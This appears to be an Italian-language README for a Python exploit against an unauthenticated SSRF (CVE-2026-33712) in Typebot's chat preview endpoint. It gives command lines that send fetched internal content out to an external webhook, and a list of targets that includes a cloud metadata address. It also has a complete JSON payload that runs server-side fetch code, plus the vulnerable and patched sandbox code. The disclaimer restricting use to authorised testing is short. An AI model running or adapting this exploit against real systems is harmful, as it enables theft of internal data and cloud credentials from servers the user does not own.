
CVE-2026-33712 - Typebot <= 3.15.2 SSRF non autenticato tramite sandbox isolated-vm fetch
Typebot <= 3.15.2 (corretto in 3.16.0) contiene una vulnerabilità di Server-Side Request Forgery (SSRF) non autenticata nell'endpoint di anteprima della chat.
Endpoint: POST /api/v1/typebots/{typebotId}/preview/startChat
L'endpoint di anteprima accetta una definizione di typebot fornita dall'utente con blocchi di codice lato server. La funzione fetch() esposta all'interno del sandbox isolated-vm chiama il fetch nativo di Node.js senza la validazione SSRF validateHttpReqUrl() che protegge il normale blocco di Richiesta HTTP. Questo bypassa tutte le mitigazioni SSRF.
Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha esplicito permesso di test è illegale. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
__ENV.js| File | Descrizione |
|---|---|
exploit.py | Script exploit principale |
endpoints.txt | Un URL per riga — target SSRF da scansionare |
requirements.txt | Dipendenze Python |
pip install -r requirements.txt
# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
bot.example.com senza http://, viene anteposto automaticamente.vulnerabile, corretto (richiede autenticazione), o endpoint_mancante (URL/versione errata). Esce anticipatamente in caso di fallimento a meno che non sia impostato --force.endpoints.txt, itera ogni URL, esfiltra il contenuto al webhook.Un URL grezzo per riga. Le righe vuote vengono ignorate. Nessun commento, nessuna categoria.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
In packages/variables/src/executeFunction.ts, la funzione fetch() esposta all'interno del sandbox isolated-vm chiamava originariamente il fetch nativo di Node.js senza validazione SSRF:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
La correzione (commit d96f572) ha anche riordinato i controlli in getTypebot() in modo che la validazione dell'autenticazione venga eseguita prima della scorciatoia del typebot personalizzato, e ha spostato l'endpoint di anteprima del viewer da procedureWithOptionalUser a protectedProcedure.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
Importante: fetch() all'interno del sandbox restituisce già .text(), quindi il risultato è una stringa, non un oggetto Response.
| Argomento | Descrizione |
|---|
-t / --target | URL dell'istanza Typebot (viewer o builder). Lo schema predefinito è http:// |
-u / --url | URL interno da recuperare tramite SSRF (modalità singola) |
-w / --webhook | URL del webhook per i dati esfiltrati (o variabile d'ambiente WEBHOOK_URL) |
--scan | Scansiona tutti gli URL da endpoints.txt |
--detect-viewer | Sonda /__ENV.js sul target per trovare NEXT_PUBLIC_VIEWER_URL e lo usa |
--force | Salta i controlli preliminari e forza l'esecuzione |
--timeout | Timeout della richiesta (predefinito: 20s) |
--delay | Ritardo tra le richieste di scansione (predefinito: 0.3s) |